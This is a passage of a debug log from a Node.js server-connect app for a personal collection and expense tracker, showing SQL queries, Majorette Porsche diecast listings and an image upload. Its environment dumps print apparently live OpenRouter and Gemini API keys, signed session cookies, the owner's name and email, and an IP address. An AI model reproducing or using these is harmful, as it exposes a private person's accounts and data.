    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T11:02:40.194Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T11:02:40.400Z server-connect:router Serving templateView /
2026-02-04T11:02:40.400Z server-connect:app Executing action step identify
2026-02-04T11:02:40.400Z server-connect:app options: { provider: 'security' }
2026-02-04T11:02:40.400Z server-connect:output identity: 1
2026-02-04T11:02:40.400Z server-connect:app Executing action step restrict
2026-02-04T11:02:40.400Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T11:02:40.401Z server-connect:output restrict: undefined
2026-02-04T11:02:40.401Z server-connect:app Executing action step restrict
2026-02-04T11:02:40.401Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T11:02:40.401Z server-connect:output restrict: undefined
2026-02-04T11:02:40.401Z server-connect:router Render template layouts/main
2026-02-04T11:02:40.401Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=173&manufacturer=&condition=',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=173&manufacturer=&condition=',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T11:02:44.100Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T11:02:44.101Z server-connect:app Executing action step identify
2026-02-04T11:02:44.101Z server-connect:app options: { provider: 'security' }
2026-02-04T11:02:44.101Z server-connect:output identity: 1
2026-02-04T11:02:44.101Z server-connect:app Executing action step restrict
2026-02-04T11:02:44.101Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:02:44.101Z server-connect:output restrict: undefined
2026-02-04T11:02:44.101Z server-connect:app Executing action step condition
2026-02-04T11:02:44.101Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T11:02:44.101Z server-connect:app Executing action step update
2026-02-04T11:02:44.101Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T11:02:44.103Z server-connect:output update: { affected: 1 }
2026-02-04T11:02:44.103Z server-connect:app Executing action step upload
2026-02-04T11:02:44.103Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T11:02:44.103Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T11:02:44.103Z server-connect:upload Process fields: 'images[]'
2026-02-04T11:02:44.103Z server-connect:upload Processing file: {
  name: 's-l1600 (8).webp',
  data: <Buffer >,
  size: 89590,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-64-20378841770202964099',
  truncated: false,
  mimetype: 'image/webp',
  md5: '3b7332de620858a5186cd58682a3f4a2',
  mv: [Function: mv]
}
2026-02-04T11:02:44.103Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_8_bc3917aa-9687-4f39-9402-8de6a4434faa.webp',
  rel: 'public/assets/images/diecast/s-l1600_8_bc3917aa-9687-4f39-9402-8de6a4434faa.webp'
}
2026-02-04T11:02:44.103Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_8_bc3917aa-9687-4f39-9402-8de6a4434faa.webp',
  rel: 'assets/images/diecast/s-l1600_8_bc3917aa-9687-4f39-9402-8de6a4434faa.webp'
}
2026-02-04T11:02:44.103Z server-connect:output upload_image: [
  {
    name: 's-l1600_8_bc3917aa-9687-4f39-9402-8de6a4434faa.webp',
    path: '/public/assets/images/diecast/s-l1600_8_bc3917aa-9687-4f39-9402-8de6a4434faa.webp',
    url: '/assets/images/diecast/s-l1600_8_bc3917aa-9687-4f39-9402-8de6a4434faa.webp',
    type: 'image/webp',
    size: 89590
  }
]
2026-02-04T11:02:44.103Z server-connect:app Executing action step repeat
2026-02-04T11:02:44.103Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T11:02:44.103Z server-connect:app Executing action step insert
2026-02-04T11:02:44.103Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T11:02:44.104Z server-connect:output images: { affected: 1, identity: 215 }
2026-02-04T11:02:44.104Z server-connect:output repeat_images: [ {} ]
2026-02-04T11:02:44.104Z server-connect:output condition: undefined
2026-02-04T11:02:44.334Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T11:02:44.334Z server-connect:app Executing action step identify
2026-02-04T11:02:44.334Z server-connect:app options: { provider: 'security' }
2026-02-04T11:02:44.334Z server-connect:output identity: 1
2026-02-04T11:02:44.334Z server-connect:app Executing action step restrict
2026-02-04T11:02:44.334Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:02:44.335Z server-connect:output restrict: undefined
2026-02-04T11:02:44.335Z server-connect:app Executing action step paged
2026-02-04T11:02:44.335Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T11:02:44.336Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: '',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T11:02:47.434Z server-connect:router Serving templateView /diecast
2026-02-04T11:02:47.434Z server-connect:app Executing action step identify
2026-02-04T11:02:47.434Z server-connect:app options: { provider: 'security' }
2026-02-04T11:02:47.434Z server-connect:output identity: 1
2026-02-04T11:02:47.434Z server-connect:app Executing action step restrict
2026-02-04T11:02:47.434Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T11:02:47.435Z server-connect:output restrict: undefined
2026-02-04T11:02:47.435Z server-connect:router Render template layouts/main
2026-02-04T11:02:47.435Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {
    brand: '',
    search: '',
    series: '173',
    manufacturer: '',
    condition: ''
  },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"15212-wYlMczzBK3Ab/en8CLs6W1ku/g8"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'brand=&search=&series=173&manufacturer=&condition=',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"15212-wYlMczzBK3Ab/en8CLs6W1ku/g8"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast'
}
2026-02-04T11:02:48.170Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-04T11:02:48.170Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-04T11:02:48.171Z server-connect:app Executing action step identify
2026-02-04T11:02:48.171Z server-connect:app options: { provider: 'security' }
2026-02-04T11:02:48.171Z server-connect:output identity: 1
2026-02-04T11:02:48.171Z server-connect:app Executing action step restrict
2026-02-04T11:02:48.171Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:02:48.171Z server-connect:app Executing action step identify
2026-02-04T11:02:48.171Z server-connect:app options: { provider: 'security' }
2026-02-04T11:02:48.171Z server-connect:output identity: 1
2026-02-04T11:02:48.171Z server-connect:app Executing action step restrict
2026-02-04T11:02:48.171Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:02:48.172Z server-connect:output restrict: undefined
2026-02-04T11:02:48.172Z server-connect:app Executing action step select
2026-02-04T11:02:48.172Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-04T11:02:48.172Z server-connect:output restrict: undefined
2026-02-04T11:02:48.172Z server-connect:app Executing action step single
2026-02-04T11:02:48.172Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-04T11:02:48.172Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-04T11:02:48.174Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
